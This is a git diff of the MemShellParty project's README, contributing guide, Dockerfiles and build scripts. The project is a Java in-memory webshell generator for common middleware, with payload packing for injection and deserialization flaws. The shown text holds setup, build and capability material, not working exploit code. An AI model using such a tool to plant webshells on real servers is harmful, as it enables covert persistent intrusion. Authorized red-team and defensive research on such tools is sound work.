- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式
|
||||
+12
-23
@@ -1,27 +1,19 @@
|
||||
## Contribute
|
||||
|
||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||
|
||||
> It will be so nice if you want to contribute. 🎉
|
||||
|
||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||
|
||||
### 目录结构
|
||||
|
||||
- bom: 依赖版本管理,不用写到处写版本号就是舒服
|
||||
- boot:使用 SpringBoot 为 UI 提供生成服务
|
||||
- memshell-party-common:bytebuddy/asm 等工具类存放
|
||||
- common:bytebuddy 等工具类存放
|
||||
- generator:内存马生成核心
|
||||
- packer:常见漏洞 payload 生成
|
||||
- deserialize:反序列化相关 gadget
|
||||
- integration-test:集成测试用例
|
||||
- memshell:内存功能类以及注入器
|
||||
- memshell-agent:Agent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
|
||||
- tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
|
||||
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
|
||||
- memshell-java8:Spring 相关的存在 lambda 表达式所以单独弄出来
|
||||
- tools/behinder:冰蝎简易连接器
|
||||
- tools/godzilla:哥斯拉简易连接器
|
||||
- tools/suo5:Suo5 简易连接器
|
||||
- web:使用 react 开发的 Web UI
|
||||
- vul/vul-webapp:简易的 javax.servlet 靶场
|
||||
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
||||
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
|
||||
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
||||
- vul/springboot*: springboot 相关靶场
|
||||
|
||||
@@ -36,15 +28,12 @@
|
||||
# 运行集成测试用例,谨慎运行,用例太多了
|
||||
./gradlew :integration-test:test --info
|
||||
|
||||
# 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
|
||||
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
|
||||
# 仅运行 tomcat 下的集成测试用例
|
||||
./gradlew :integration-test:test --tests '*.tomcat.*'
|
||||
|
||||
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
|
||||
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
|
||||
# 仅运行 jetty 下的集成测试用例
|
||||
./gradlew :integration-test:test --tests '*.jetty.*'
|
||||
|
||||
# 构建靶场 war 包
|
||||
# 构建 war 包
|
||||
./gradlew :vul:vul-webapp:war
|
||||
./gradlew :vul:vul-webapp-jakarta:war
|
||||
./gradlew :vul:vul-webapp-expression:war
|
||||
@@ -68,7 +57,7 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
|
||||
|
||||
### Contribute Code
|
||||
|
||||
> 参考 GitHub Docs,https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||
> 参考 GitHub Docs, https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||
|
||||
1. fork 当前项目
|
||||
2. git clone 自己 fork 后的项目
|
||||
|
||||
+20
-13
@@ -1,12 +1,14 @@
|
||||
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
|
||||
FROM buildpack-deps:bullseye-scm AS source
|
||||
|
||||
ARG VERSION="1.0.0"
|
||||
ENV VERSION=${VERSION}
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||
rm -rf vul integration-test tools
|
||||
|
||||
# https://hub.docker.com/r/oven/bun
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
|
||||
FROM oven/bun:1.2.2 AS frontend
|
||||
|
||||
ARG ROUTE_ROOT_PATH="/"
|
||||
ARG CONTEXT_PATH=""
|
||||
@@ -14,9 +16,9 @@ ARG CONTEXT_PATH=""
|
||||
WORKDIR /usr/src/web
|
||||
|
||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
|
||||
|
||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
|
||||
|
||||
RUN bun install --frozen-lockfile
|
||||
|
||||
@@ -24,27 +26,32 @@ COPY --from=source /usr/src/web /usr/src/web
|
||||
|
||||
RUN bun run build
|
||||
|
||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
|
||||
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
|
||||
|
||||
ARG VERSION="1.0.0"
|
||||
ENV VERSION=${VERSION}
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
COPY --from=source /usr/src /usr/src
|
||||
|
||||
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
||||
COPY --from=frontend /usr/src/web/dist /usr/src/web/dist
|
||||
|
||||
RUN ./gradlew :boot:bootjar -x test
|
||||
RUN set -ex && \
|
||||
cd web && bash copy-build.sh && \
|
||||
cd .. && ./gradlew -Pversion=${VERSION} :boot:bootjar -x test --no-daemon
|
||||
|
||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||
|
||||
LABEL authors="ReaJason<[email protected]>"
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
RUN groupadd -r spring && \
|
||||
useradd -r -g spring spring
|
||||
COPY --from=backend /usr/src/boot/build/libs/*.jar app.jar
|
||||
|
||||
COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar
|
||||
RUN groupadd -r spring && \
|
||||
useradd -r -g spring spring && \
|
||||
chown spring:spring /app/app.jar
|
||||
|
||||
USER spring:spring
|
||||
|
||||
|
||||
@@ -1,65 +1,63 @@
|
||||
<h1 align="center">MemShellParty</h1>
|
||||
|
||||
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
||||
|
||||
|
||||
<div align="center">
|
||||
# MemShellParty
|
||||
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||
[](https://github.com/ReaJason/MemShellParty/releases)
|
||||
[](https://central.sonatype.com/artifact/io.github.reajason/generator)
|
||||
[](https://hub.docker.com/r/reajason/memshell-party)
|
||||
</div>
|
||||
<div align="center">
|
||||
|
||||
[](https://t.me/memshell)
|
||||
[](https://party.mem.mk)
|
||||
</div>
|
||||
[](https://party.memshell.news)
|
||||
|
||||
> [!WARNING]
|
||||
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
||||
|
||||
> [!TIP]
|
||||
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
||||
> 交流群,欢迎一起学习交流。
|
||||
> 交流群,欢迎一起学习交流
|
||||
|
||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
|
||||
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||
<img src="assets/about_page.png" alt="about_page" width="24%">
|
||||
</p>
|
||||
MemShellParty 出现的原因有以下几个:
|
||||
|
||||
1. 工作中有时候客户会有个别中间件的内存马测试需求,这个时候临时写一个太慢又太烦,在不忙的时候做一个工具,有需求就生成一个多好(之前用
|
||||
Java Memshell Generator 生成一个 WAS 的内存马不能用,调了半天修好了)。
|
||||
2. 写 [Javassist](https://www.javassist.org/) 实在是太多了,字符串拼接的方式去弄方法 code
|
||||
实在是看得眼睛疼,又不好维护,代码组织合理的话其实都可以,不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/)
|
||||
,高封装提供的 API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快,而且很多中间件也自带依赖直接能打。
|
||||
3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
|
||||
的出现确实帮大忙了,但是其极少的交互逻辑对于一个应用来说是难以接受的,刚好学习了前端对 UX 也感兴趣(对 Desktop
|
||||
应用无感),必须得整一个玩玩。
|
||||
4. 因为对自动化测试特别感兴趣,刚好找到了 [Testcontainers](https://testcontainers.com/)
|
||||
,并且看了一圈武器化工具基本都是无测试的,所以尝试写写可行的集成测试分享分享,被测试包裹的代码,修改起来信心也大,同时也希望这个项目能长久发展。
|
||||
5. 特别多的师傅写了 Java 内存马相关的项目,不过都慢慢就不维护了(或者不公开代码了),我举手来整合一下,嘿嘿。
|
||||
|
||||
希望你能从这个项目学会或尝试做的:
|
||||
|
||||
1. 学会编写常见中间件框架的内存马编写方式。
|
||||
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
|
||||
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
|
||||
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
|
||||
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 主要特性
|
||||
|
||||
- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||
- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
|
||||
- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。
|
||||
- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
|
||||
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。
|
||||
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
|
||||
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
|
||||
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
|
||||
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
|
||||
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||
- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
- 最小化: 尽可能精简内存马大小,高效传输。
|
||||
- 强兼容性: 覆盖攻防场景下常见中间件和框架。
|
||||
|
||||
## 快速使用
|
||||
|
||||
### 使用前必看
|
||||
|
||||
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
|
||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||
|
||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||
GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
||||
|
||||
### 在线站点
|
||||
|
||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||
|
||||
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
|
||||
|
||||
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
|
||||
可直接访问 https://party.memshell.news (搭建在 [Northflank](https://northflank.com/) US
|
||||
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
|
||||
|
||||
### 本地部署(推荐)
|
||||
|
||||
@@ -78,10 +76,210 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||
```
|
||||
|
||||
## Special Thanks
|
||||
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
|
||||
|
||||
```bash
|
||||
# 移除之前部署的
|
||||
docker rm -f memshell-party
|
||||
|
||||
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||
```
|
||||
|
||||
### 本地构建
|
||||
|
||||
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
||||
|
||||
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
||||
|
||||
1. 使用 Git Clone 项目
|
||||
```bash
|
||||
git clone https://github.com/ReaJason/MemShellParty.git
|
||||
```
|
||||
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
||||
```bash
|
||||
cd MemShellParty/web
|
||||
|
||||
bun install
|
||||
|
||||
bun run build
|
||||
```
|
||||
3. 构建后端项目,确保使用 JDK17 环境
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
./gradlew :boot:bootjar -x test
|
||||
```
|
||||
|
||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
java -jar \
|
||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||
build/libs/boot-1.0.0.jar
|
||||
```
|
||||
|
||||
也可这基础上再继续构建容器来使用
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
docker buildx build -t memshell-party:latest . --load
|
||||
|
||||
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||
```
|
||||
|
||||
### Dockerfile 一键构建
|
||||
|
||||
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
||||
|
||||
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||
|
||||
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
||||
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||
- CONTEXT_PATH: 后端访问前缀
|
||||
|
||||
```bash
|
||||
# 基础构建
|
||||
docker buildx build \
|
||||
--build-arg VERSION=1.3.1 \
|
||||
-t memshell-party:latest . --load
|
||||
|
||||
# 基础镜像启动,访问 127.0.0.1:8080
|
||||
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||
|
||||
# 自定义访问路径构建
|
||||
docker buildx build \
|
||||
--build-arg VERSION=1.3.1 \
|
||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||
--build-arg CONTEXT_PATH=/memshell-party \
|
||||
-t memshell-party:latest . --load
|
||||
|
||||
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
||||
docker run -it -p 8080:8080 \
|
||||
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||
memshell-party:latest
|
||||
```
|
||||
|
||||
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
||||
|
||||
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
||||
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
||||
|
||||
```text
|
||||
location /memshell-party {
|
||||
proxy_pass http://127.0.0.1:8080;
|
||||
proxy_set_header Host $http_host;
|
||||
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||
proxy_set_header X-Forwarded-For $remote_addr;
|
||||
proxy_http_version 1.1;
|
||||
proxy_connect_timeout 3s;
|
||||
proxy_read_timeout 300s;
|
||||
proxy_send_timeout 300s;
|
||||
proxy_buffer_size 16k;
|
||||
proxy_buffers 8 64k;
|
||||
proxy_busy_buffers_size 128k;
|
||||
}
|
||||
```
|
||||
|
||||
## 适配情况
|
||||
|
||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||
|
||||
### 中间件以及框架
|
||||
|
||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||
|----------------------|------------------------|----------------------|----------------------|
|
||||
| Servlet | Servlet | Filter | Filter |
|
||||
| Filter | Filter | Listener | Listener |
|
||||
| Listener | Listener | Valve | Valve |
|
||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||
| ContextValve - Agent | | | |
|
||||
|
||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||
|---------------------|--------------------------|-----------------|--------------|
|
||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||
| Filter | ControllerHandler | HandlerMethod | |
|
||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||
| FilterChain - Agent | | NettyHandler | |
|
||||
|
||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||
|----------------------|----------------------------|------------------------|------------------------|
|
||||
| Filter | Filter | Servlet | Servlet |
|
||||
| Listener | Listener | Filter | Filter |
|
||||
| Valve | Valve(6) | Listener | Listener |
|
||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||
| | ServletHandler - Agent (7) | | |
|
||||
|
||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||
|-----------------------|-------------------------|
|
||||
| Servlet | Servlet |
|
||||
| Filter | Filter |
|
||||
| Listener | Listener |
|
||||
| FilterManager - Agent | ServletContext - Agent |
|
||||
|
||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) |
|
||||
|----------------------|----------------------|------------------------|---------------|
|
||||
| Filter | Filter | Filter | Servlet |
|
||||
| Listener | Listener | Listener | Filter |
|
||||
| Valve | Valve | Valve | Listener |
|
||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
|
||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
|
||||
|
||||
### 内存马功能
|
||||
|
||||
- [x] Godzilla 哥斯拉
|
||||
- [x] Behinder 冰蝎
|
||||
- [x] 命令执行
|
||||
- [x] Suo5
|
||||
- [x] AntSword 蚁剑
|
||||
- [ ] Neo-reGeorg
|
||||
- [ ] Custom
|
||||
|
||||
### 封装方式
|
||||
|
||||
- [x] BASE64
|
||||
- [x] GZIP BASE64
|
||||
- [x] JSP
|
||||
- [x] JSPX
|
||||
- [x] JAR
|
||||
- [x] BCEL
|
||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||
- [x] Velocity、Freemarker、JinJava
|
||||
- [x] 原生反序列化(CB4)
|
||||
- [x] Agent
|
||||
- [x] XXL-JOB Executor
|
||||
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||
- [ ] JNDI
|
||||
- [ ] JDBC 连接
|
||||
- [ ] 其他常见反序列化
|
||||
|
||||
## How
|
||||
|
||||
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
|
||||
2. 如何调试内存马,为什么内存马注入了却不可用?(**WIP**)
|
||||
|
||||
## Contribute
|
||||
|
||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||
|
||||
> It will be so nice if you want to contribute. 🎉
|
||||
|
||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||
|
||||
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
|
||||
|
||||
## Thanks
|
||||
|
||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
||||
|
||||
### Let's start the party 🎉
|
||||
### Let's start the party 🎉
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 60 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 131 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 92 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 136 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 236 KiB |
@@ -1,35 +0,0 @@
|
||||
import http.server
|
||||
import socketserver
|
||||
|
||||
PORT = 8000
|
||||
TARGET_PATH = "/api/v1/data"
|
||||
|
||||
|
||||
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||
def do_POST(self):
|
||||
if self.path == TARGET_PATH:
|
||||
try:
|
||||
content_length = int(self.headers['Content-Length'])
|
||||
post_data_bytes = self.rfile.read(content_length)
|
||||
post_data_str = post_data_bytes.decode('utf-8')
|
||||
print("-----------------------------\n")
|
||||
print(f"Client IP: {self.client_address}")
|
||||
print(f"Request Header:\n{self.headers}")
|
||||
print(f"Request Body:\n{post_data_str}")
|
||||
print("-----------------------------\n")
|
||||
self.send_response(200)
|
||||
self.send_header('Content-type', 'application/json')
|
||||
self.end_headers()
|
||||
response_message = '{"status": "success"}'
|
||||
self.wfile.write(response_message.encode('utf-8'))
|
||||
except Exception as e:
|
||||
print(f"Parse POST failed: {e}")
|
||||
self.send_response(500)
|
||||
else:
|
||||
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
|
||||
self.send_response(404)
|
||||
|
||||
|
||||
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
|
||||
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
|
||||
httpd.serve_forever()
|
||||
@@ -1,16 +0,0 @@
|
||||
import http from 'k6/http';
|
||||
import {check, sleep} from 'k6';
|
||||
|
||||
export const options = {
|
||||
rps: 4500,
|
||||
vus: 10,
|
||||
duration: '5m',
|
||||
};
|
||||
|
||||
export default function () {
|
||||
const res = http.get('http://localhost:8082/app/test');
|
||||
check(res, {
|
||||
'status is 200': (r) => r.status === 200,
|
||||
});
|
||||
sleep(1);
|
||||
}
|
||||
@@ -1,9 +0,0 @@
|
||||
FROM python:3.12-slim
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
||||
|
||||
COPY neoreg.py .
|
||||
|
||||
CMD ["tail", "-f", "/dev/null"]
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
Before Width: | Height: | Size: 268 KiB |
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,37 @@
|
||||
plugins {
|
||||
id 'java-platform'
|
||||
}
|
||||
|
||||
dependencies {
|
||||
constraints {
|
||||
api 'net.bytebuddy:byte-buddy:1.+'
|
||||
|
||||
api 'javax.servlet:javax.servlet-api:3.0.1'
|
||||
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
||||
api 'javax.websocket:javax.websocket-api:1.1'
|
||||
|
||||
api 'org.springframework:spring-webmvc:5.3.24'
|
||||
api 'org.springframework:spring-webflux:5.3.24'
|
||||
api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
|
||||
|
||||
api 'commons-io:commons-io:2.+'
|
||||
api 'org.apache.commons:commons-lang3:3.+'
|
||||
api 'commons-codec:commons-codec:1.+'
|
||||
api 'ch.qos.logback:logback-classic:1.+'
|
||||
|
||||
api 'xalan:xalan:2.7.0'
|
||||
api 'org.apache.bcel:bcel:5.2'
|
||||
|
||||
api 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||
api 'com.squareup.okhttp3:okhttp:4.+'
|
||||
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
||||
|
||||
api 'org.jetbrains:annotations:26.0.1'
|
||||
|
||||
api "org.mockito:mockito-core:5.15.2"
|
||||
api 'org.hamcrest:hamcrest:3.0'
|
||||
api 'org.junit:junit-bom:5.11.4'
|
||||
api 'org.testcontainers:testcontainers:1.20.5'
|
||||
api 'org.testcontainers:junit-jupiter:1.20.5'
|
||||
}
|
||||
}
|
||||
+5
-4
@@ -1,13 +1,14 @@
|
||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||
|
||||
LABEL authors="ReaJason<[email protected]>"
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
RUN groupadd -r spring && \
|
||||
useradd -r -g spring spring
|
||||
COPY build/libs/*.jar app.jar
|
||||
|
||||
COPY --chown=spring:spring build/libs/*.jar app.jar
|
||||
RUN groupadd -r spring && \
|
||||
useradd -r -g spring spring && \
|
||||
chown spring:spring /app/app.jar
|
||||
|
||||
USER spring:spring
|
||||
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
plugins {
|
||||
id 'java'
|
||||
id 'org.springframework.boot' version '3.4.0'
|
||||
id 'io.spring.dependency-management' version '1.1.6'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb'
|
||||
version = rootProject.version
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
}
|
||||
}
|
||||
|
||||
def runtimeJvmArgs = [
|
||||
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||
]
|
||||
|
||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||
|
||||
tasks.withType(Test).configureEach {
|
||||
jvmArgs += runtimeJvmArgs
|
||||
}
|
||||
|
||||
// For running the application
|
||||
tasks.withType(JavaExec).configureEach {
|
||||
jvmArgs += runtimeJvmArgs
|
||||
}
|
||||
|
||||
configurations {
|
||||
compileOnly {
|
||||
extendsFrom annotationProcessor
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation(project(":generator")) {
|
||||
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
|
||||
exclude group: 'commons-logging', module: 'commons-logging'
|
||||
}
|
||||
implementation(project(":deserialize")) {
|
||||
exclude group: 'commons-logging', module: 'commons-logging'
|
||||
}
|
||||
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
||||
}
|
||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
||||
compileOnly 'org.projectlombok:lombok'
|
||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
||||
annotationProcessor 'org.projectlombok:lombok'
|
||||
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("org.springframework.boot") version "3.5.11"
|
||||
id("io.spring.dependency-management") version "1.1.7"
|
||||
}
|
||||
|
||||
group = "io.github.reajason"
|
||||
version = rootProject.version
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
}
|
||||
}
|
||||
|
||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||
|
||||
configurations {
|
||||
compileOnly {
|
||||
extendsFrom(configurations.annotationProcessor.get())
|
||||
}
|
||||
}
|
||||
|
||||
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
||||
|
||||
dependencies {
|
||||
implementation(project(":generator")) {
|
||||
exclude(group = "commons-logging", module = "commons-logging")
|
||||
exclude(group = "com.reajason.javaweb", module = "thirdparty-tomcat")
|
||||
}
|
||||
implementation(project(":packer")) {
|
||||
exclude(group = "commons-logging", module = "commons-logging")
|
||||
}
|
||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||
